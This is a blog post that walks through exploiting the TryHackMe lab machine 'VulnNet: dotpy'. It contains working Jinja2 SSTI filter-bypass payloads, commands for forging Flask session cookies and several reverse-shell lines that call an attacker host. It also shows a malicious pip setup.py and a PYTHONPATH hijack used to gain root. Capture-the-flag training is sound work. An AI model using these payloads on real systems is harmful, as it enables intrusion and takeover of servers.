DEV Community

Cover image for TryHackMe - VulnNet: dotpy Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe - VulnNet: dotpy Writeup

Machine Information

Field Details
Platform TryHackMe
Room VulnNet: dotpy
Difficulty Medium
OS Linux
Web Stack Python / Flask (Werkzeug 1.0.1)

Reconnaissance

Port Scan

nmap -sCV -A MACHINE-IP -oA output
Enter fullscreen mode Exit fullscreen mode

Only one port open:

8080/tcp  open  http  Werkzeug httpd 1.0.1 (Python 3.6.9)
Enter fullscreen mode Exit fullscreen mode

The web app redirects to /login and is confirmed to be a Flask application running under Werkzeug.

Directory Enumeration

dirsearch -u http://MACHINE-IP:8080/ -x 403,404
Enter fullscreen mode Exit fullscreen mode

Findings:

Path Status Notes
/login 200 Login form
/register 200 Registration form
/shutdown 200 23 bytes — Werkzeug debug endpoint

Initial Access — SSTI to RCE

Step 1: Register & Login

Registered a test account at /register and authenticated. The post-login dashboard is a Staradmin template with no immediately obvious injection points.

Step 2: SSTI Discovery

Navigating to http://dotpy.thm:8080/env returns a styled 404 page that echoes the URL path back into the body:

No results for env
Enter fullscreen mode Exit fullscreen mode

Injecting {{7*7}} in the path:

http://dotpy.thm:8080/{{7*7}}
Enter fullscreen mode Exit fullscreen mode

Returns:

No results for 49
Enter fullscreen mode Exit fullscreen mode

SSTI confirmed. The source code traceback (visible via Werkzeug debug mode) confirms the path is passed into render_template_string() on TemplateNotFound.

Step 3: Config Dump via {{config}}

http://dotpy.thm:8080/{{config}}
Enter fullscreen mode Exit fullscreen mode

The 404 body leaks the full Flask config, including:

'SECRET_KEY': 'S3cr3t_K#Key'
Enter fullscreen mode Exit fullscreen mode

This allows forging session cookies with flask-unsign:

flask-unsign --decode --cookie '<session_cookie>'
flask-unsign --sign --cookie "{'_fresh': True, ...}" --secret 'S3cr3t_K#Key'
Enter fullscreen mode Exit fullscreen mode

Although a forged admin cookie was generated, it yielded no additional access surface — the real prize was RCE.

Step 4: WAF / Filter Bypass

The application blocks certain characters in the URL path:

Blocked Reason
. (dot) Prevents attribute access
_ (underscore) Prevents dunder access
[ ] Prevents subscript access
\ Converted to / server-side

The pipe | operator (Jinja2 filter chaining) is not blocked.

Initial attempt using hex encoding (\x5f) for underscores failed because the server converts backslashes to forward slashes.

Working bypass — using %c format string to synthesize underscores at runtime, combined with attr() for attribute access:

{{lipsum|attr("%25c"|format(95)~"%25c"|format(95)~"globals"~"%25c"|format(95)~"%25c"|format(95))|attr(...)("os")|attr("popen")("id")|attr("read")()}}
Enter fullscreen mode Exit fullscreen mode

Output: uid=1001(web) gid=1001(web) groups=1001(web) — RCE confirmed as web.

Step 5: Reverse Shell

Since / in commands is blocked, standard reverse shell payloads fail. Two bypasses were chained:

Bypass 1 — IP as decimal integer (no dots):

printf '%d\n' $(printf '0x%02x%02x%02x%02x\n' 192 168 236 96)
# Result: YOUR-IP-DECIMAL
Enter fullscreen mode Exit fullscreen mode

Bypass 2 — Pipe netcat output directly to bash (no file write, no slashes in path):

nc YOUR-IP-DECIMAL 8001 | bash
Enter fullscreen mode Exit fullscreen mode

Attack setup:

Terminal 1 (serve shell payload):

nc -lvnp 8001 < shell.sh
Enter fullscreen mode Exit fullscreen mode

shell.sh:

bash -i >& /dev/tcp/YOUR-IP/4444 0>&1
Enter fullscreen mode Exit fullscreen mode

Terminal 2 (catch shell):

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Final SSTI payload delivered via URL:

{{(lipsum,)|map(**{"at"+"tribute":("%c%cglobals%c%c"|format(95,95,95,95))})|list|first|attr("get")("os")|attr("popen")("nc YOUR-IP-DECIMAL 8001|bash")|attr("read")()}}
Enter fullscreen mode Exit fullscreen mode

Shell received as web.


Privilege Escalation

web → system-adm (Malicious pip3 Package)

sudo -l
# (system-adm) NOPASSWD: /usr/bin/pip3 install *
Enter fullscreen mode Exit fullscreen mode

web can run pip3 install as system-adm without a password.

Created a malicious Python package in /tmp/evil/:

# setup.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR-IP",4443))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")
Enter fullscreen mode Exit fullscreen mode

Started a listener then triggered the install:

sudo -u system-adm /usr/bin/pip3 install .
Enter fullscreen mode Exit fullscreen mode

Shell received as system-adm. User flag retrieved:

THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

system-adm → root (PYTHONPATH Hijack)

sudo -l
# (ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py
Enter fullscreen mode Exit fullscreen mode

system-adm can run backup.py as any user with SETENV — meaning environment variables like PYTHONPATH can be set.

Inspecting /opt/backup.py:

from datetime import datetime
from pathlib import Path
import zipfile          # <-- imported module
Enter fullscreen mode Exit fullscreen mode

The script imports the standard library module zipfile. By placing a malicious zipfile.py in /home/system-adm and prepending that directory to PYTHONPATH, Python will load the malicious module instead:

cat > /home/system-adm/zipfile.py << 'EOF'
import os
os.system("/bin/bash")
EOF
Enter fullscreen mode Exit fullscreen mode

Triggered with:

sudo PYTHONPATH=/home/system-adm /usr/bin/python3 /opt/backup.py
Enter fullscreen mode Exit fullscreen mode

Spawned a root shell. Root flag retrieved:

THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Tools Used

Tool Purpose
nmap Port scanning
dirsearch Directory enumeration
flask-unsign Flask session cookie decode/forge
netcat Reverse shell delivery and catching
PayloadsAllTheThings SSTI Jinja2 bypass reference

Key Vulnerabilities

Vulnerability Location Impact
Server-Side Template Injection (SSTI) URL path reflected into render_template_string RCE as web
Flask SECRET_KEY disclosure via SSTI {{config}} payload Session forgery
Sudo pip3 install abuse web → system-adm Lateral movement
PYTHONPATH hijack via zipfile.py system-adm → root Full privilege escalation

Attack Chain

[Recon: nmap + dirsearch]
        |
[Register + Login → Dashboard]
        |
[SSTI Discovery: {{7*7}} → 49 in 404 body]
        |
[{{config}} → SECRET_KEY: S3cr3t_K#Key]
        |
[Character Filter Bypass (. _ [ ])]
        |
[SSTI RCE via lipsum + %c format + attr chaining]
        |
[Reverse Shell → web]
        |
[sudo pip3 install → malicious setup.py → system-adm]
        |
[PYTHONPATH hijack → zipfile.py → root]
Enter fullscreen mode Exit fullscreen mode

Key Takeaways

  • SSTI in Flask's render_template_string is critical — even indirect injection via a 404 handler is fully exploitable.
  • Character-based WAFs are bypassable — Jinja2's |attr(), %c format tricks, and filter chaining can reconstruct blocked characters at template evaluation time.
  • IP decimal notation bypasses dot-blocked command environments without needing encoding.
  • SETENV in sudo rules is dangerous — allowing the invoker to set environment variables like PYTHONPATH effectively grants arbitrary code execution at the target privilege level.
  • pip3 as sudo is an instant privilege escalation path — any writable directory can host a malicious setup.py.

Top comments (0)